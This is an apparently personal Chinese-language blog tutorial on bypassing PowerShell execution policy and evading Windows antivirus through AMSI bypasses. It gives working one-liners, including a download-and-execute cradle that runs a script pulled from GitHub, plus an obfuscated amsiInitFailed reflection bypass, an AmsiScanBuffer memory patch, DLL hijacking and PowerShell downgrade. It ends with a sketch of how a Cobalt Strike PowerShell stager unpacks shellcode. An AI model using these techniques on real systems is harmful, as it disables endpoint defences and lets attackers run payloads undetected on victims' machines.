什么是PowerShell执行策略?

PowerShell execution policy 是用来决定哪些类型的PowerShell脚本可以在系统中运行。默认情况下,它是“Restricted”(限制)的。然而,这个设置从来没有算是一种安全控制。相反,它会阻碍管理员操作。这就是为什么我们有这么多绕过它的方法。

为什么我们要绕过执行政策?

因为人们希望使用脚本实现自动化操作,powershell为什么受到管理员、渗透测试人员、黑客的青睐,原因如下:

  1. Windows原生支持
  2. 能够调用Windows API
  3. 能够运行命令而无需写入磁盘(可直接加载至内存,无文件落地)
  4. 能够避免被反病毒工具检测
  5. 大多数应用程序白名单解决方案已将其标记为“受信任”
  6. 一种用于编写许多开源Pentest工具包的媒介

如何查看执行策略

在能够使用所有完美功能的PowerShell之前,攻击者可以绕过“Restricted”(限制)execution policy。你可以通过PowerShell命令“executionpolicy“看看当前的配置。如果你第一次看它的设置可能设置为“Restricted”(限制),如下图所示:

Get-ExecutionPolicy获取策略

image-20221208115653172

Get-ExecutionPolicy -List | Format-Table -AutoSize

Set-ExecutionPolicy设置策略

1
Set-ExecutionPolicy UnRestricted

绕过执行策略

执行文件

type + 管道符

1
2
PS C:\Users\scr1pt\Desktop> TYPE .\msg.ps1 | PowerShell.exe -noprofile -
fuck you bypass

iex(New-Object Net.WebClient).DownloadString

1
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/nullbind/Powershellery/master/Brainstorming/runme.ps1')"

image-20221208121515209

-ExecutionPolicy Bypass

1
2
PS C:\Users\scr1pt\Desktop> PowerShell.exe -ExecutionPolicy Bypass -File .\msg.ps1
fuck you bypass

-ExecutionPolicy Unrestricted

这类似于bypass标志。但是,当使用该标志时,微软声明它加载所有配置文件并运行所有脚本。如果运行从Internet下载的无签名脚本,则在运行之前会提示您获得许可。这种技术不会导致配置更改或需要写入磁盘。

1
2
PS C:\Users\scr1pt\Desktop> PowerShell.exe -ExecutionPolicy UnRestricted -File .\msg.ps1
fuck you bypass

-ExecutionPolicy Un-signed

执行命令

powershell -command -c

1
2
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
Powershell -c "Write-Host 'My voice is my passport, verify me.'"

write-host

1
2
PS C:\Users\scr1pt\Desktop\PowerSploit-master\Privesc> Write-Host "My voice is my passport, verify me." | PowerShell.exe -noprofile -
My voice is my passport, verify me.

Get-Content

1
2
PS C:\Users\scr1pt\Desktop> Get-Content .\msg.ps1 | PowerShell.exe -noprofile -
fuck you bypass

powershell -Enc

1
2
3
4
5
6
7
$command = "Write-Host 'My voice is my passport, verify me.'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encodedCommand

PS C:\Users\scr1pt\Desktop> powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA
My voice is my passport, verify me.

Invoke-command -scriptblock

1
2
PS C:\Users\scr1pt\Desktop> invoke-command -scriptblock {echo "fuck you bypass"}
fuck you bypass

Get-Content

1
2
PS C:\Users\scr1pt\Desktop> Get-Content .\msg.ps1 | Invoke-Expression
fuck you bypass

策略失效

Disable ExecutionPolicy

这是我在https://www.nivot.org上看到的非常有创意的一个。下面的功能可以通过交互式PowerShell控制台或使用“命令”开关来执行。一旦函数被调用,它将用null替换出“AuthorizationManager”。因此,在会话的剩余时间内,执行策略基本上被设置为无限制。这种技术不会导致持久的配置更改或需要写入磁盘。但是,更改是否适用于会议期间。

1
2
function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))}
Disable-ExecutionPolicy .runme.ps1

image-20221208133327297

ExcutionPolicy for the CurrentUser

为当前用户设置策略,不需要管理员权限,可以直接执行脚本

1
Set-Executionpolicy -Scope CurrentUser bypass

image-20221208134524643

设置完成后会发现注册表中当前用户多了一项ExecutionPolicy

image-20221208135027645

Set-ExecutionPolicy Scope Process

正如我们在介绍中看到的,执行策略可以应用于许多级别。这包括您可以控制的过程。使用此技术,可以在会话期间将执行策略设置为无限制。此外,它不会导致配置更改,也不需要向磁盘写入数据。我最初是在r007break博客上发现这种技术的。

1
Set-ExecutionPolicy Bypass -Scope Process

image-20221208142534497

设置注册表

1
reg query HKCU\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell

image-20221208135151866

结构如下

image-20221208135027645

powershell免杀

AMSI绕过

Antimalware Scan Interface(AMSI)为反恶意软件扫描接口。

Windows 反恶意软件扫描接口 (AMSI) 是一种通用接口标准,允许您的应用程序和服务与机器上存在的任何反恶意软件产品集成。AMSI 为您的最终用户及其数据、应用程序和工作负载提供增强的恶意软件保护。AMSI 与反恶意软件供应商无关;它旨在支持当今可以集成到应用程序中的反恶意软件产品提供的最常见的恶意软件扫描和保护技术。它支持允许文件和内存或流扫描、内容源 URL/IP 信誉检查和其他技术的调用结构。AMSI 还支持会话的概念,以便反恶意软件供应商可以关联不同的扫描请求。例如,可以将恶意负载的不同片段关联起来做出更明智的决定,而仅通过孤立地查看这些片段就很难做出决定。

在Windows Server 2016和Win10上已经默认安装并启用。他的本体是一个DLL文件,存在于 c:windows\system32\amsi.dll。

干货 | 绕过AMSI实现免杀的研究和思路

它提供了通用的标准接口(COM接口、Win32 API)其中的COM接口,是为杀软供应商提供的,方便杀软厂商接入自身针对恶意软件的识别能力。有不少安全厂商已经接入了AMSI的接口。

官方架构图

干货 | 绕过AMSI实现免杀的研究和思路

目前AMSI功能已集成到Windows 10的这些组件中

  1. 用户帐户控制或 UAC(EXE、COM、MSI 或 ActiveX 安装的提升)
  2. PowerShell(脚本、交互使用和动态代码评估)
  3. Windows 脚本宿主(wscript.exe 和 cscript.exe)
  4. JavaScript 和 VBScript
  5. Office VBA 宏

既然本质上是一个dll,那么就可以看下他的导出函数。

image-20221208182359674

当执行一些敏感字符串时,会发现powershell拒绝执行并报毒。

image-20221210211140998

火绒剑查看powershell模块会发现加载了amsi.dll

image-20221208234826913

绕过方法

关闭System.Management.Automation.AmsiUtils

replace
1
2
3
4
5
6
7
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

$a =[Ref].Assembly.GetType('System.Management.Automation.AmsiUti'+'ls')
$h="4456625220575263174452554847"
$s =[string](0..13|%{[char][int](53+($h).substring(($_*2),2))})-replace " "
$b =$a.GetField($s,'NonPublic,Static')
$b.SetValue($null,$true)

image-20221210211140998

dll劫持

再打开powershell进程时,会加载amsi进程,那么自然的就想到可以通过dll劫持,或者替换等方式来bypass。

  • 进程对应的应用程序所在目录
  • 系统目录(通过 GetSystemDirectory 获取)
  • 16位系统目录
  • Windows目录(通过 GetWindowsDirectory 获取)
  • 当前目录
  • PATH环境变量中的各个目录

powershell.exe的路径为C:\Windows\System32\WindowsPowerShell\v1.0,只需要在同目录下置放一个名为amsi.dll的模块。

但是并不是随便一个模块都行,由于已经开启了amsi,如果错误加载会引起powershell崩溃,那么我们也无法执行命令。这里就要导出本来amsi.dll有的导出函数。

导出函数如下

image-20221208182359674

降低powershell版本

将powershell版本降到2.0,就能够规避amsi,因为在低版本的powershell中还没有加入amsi。那么就需要知道目标机器的powershell版本。

1
$PSVersionTable

在 Windows 7 和 Windows 服务器 2008 R2 以上版本,PowerShell 2.0 集成在所有 Windows 版本中。

在普通用户权限下,可以通过如下命令经行检查:

image-20221209001528971

管理员权限可以使用如下命令:

image-20221209001551630

这里虚拟机是没有这个环境的,看了下本机有2.0版本,这里就换下本机试一下,是能够成功的执行的。

image-20221209001622084

混淆

拼接
1
2
"amsiutils"
"amsiuti"+"ls"

关闭windows defender

关闭Windows Defender 也可以使系统自带的AMSI检测无效化。

image-20221209112303334

利用反射将内存中AmsiScanBuffer方法的检测长度置为0

把AmsiScanBuffer函数前三个字节修改为如下,即可绕过

1
2
xor rax, rax
ret

AMSI检测调用过程为:

  1. AmsiInitialize

  2. AMSI API.AmsiOpenSession

  3. 打开sessionAmsiScanBuffer

    1
    2
    3
    4
    5
    6
    7
    8
    HRESULT AmsiScanBuffer(
    [in] HAMSICONTEXT amsiContext,
    [in] PVOID buffer,
    [in] ULONG length,
    [in] LPCWSTR contentName,
    [in, optional] HAMSISESSION amsiSession,
    [out] AMSI_RESULT *result
    );
  4. scans the user-input.AmsiCloseSession

  5. 关闭sessionAmsiUninitialize

  6. 删除AMSI API

脚本如下,但是会被windows defender检测

https://gist.githubusercontent.com/shantanu561993/6483e524dc225a188de04465c8512909/raw/db219421ea911b820e9a484754f03a26fbfb9c27/AMSI_bypass_Reflection.ps1

image-20221210213525413

hook AmsiScanBuffer

我们知道字符串是否敏感是由amsi.dll中的AmsiScanBuffer函数来进行判断的,而内存补丁是一种较为便捷的技术,我们可以对这个函数进行修补,使其丧失判断能力,这样我们就能自由执行任意powershell脚本,当然前提是脚本文件没有被杀软干掉。

AmsiScanBuffer最后一个参数也就是返回值为AMSI_RESULT

1
2
3
4
5
6
7
typedef enum AMSI_RESULT {
AMSI_RESULT_CLEAN,
AMSI_RESULT_NOT_DETECTED,
AMSI_RESULT_BLOCKED_BY_ADMIN_START,
AMSI_RESULT_BLOCKED_BY_ADMIN_END,
AMSI_RESULT_DETECTED
} ;

方法应该挺多的,可以注入一个dll到powershell这样去hook或者什么操作,也可以直接起一个powershell进程然后获取AmsiScanBuffer的函数地址,让他直接函数返回啊这些操作,这个方法的重点应该是免杀性。

image-20221210214704104

cs powersehll

1

第二层

创建一个ProcessStartInfo结构体,填入进程名、参数、窗口隐藏

1

第三层,base64 + gunzip

1

  1. VirtualAlloc
  2. CreateThread
  3. WaitForSingleObject

得到一段cs的shellcode

image-20221208174452626

http://www.ctfiot.com/7487.html

本文采用CC-BY-SA-3.0协议,转载请注明出处
Author: scr1pt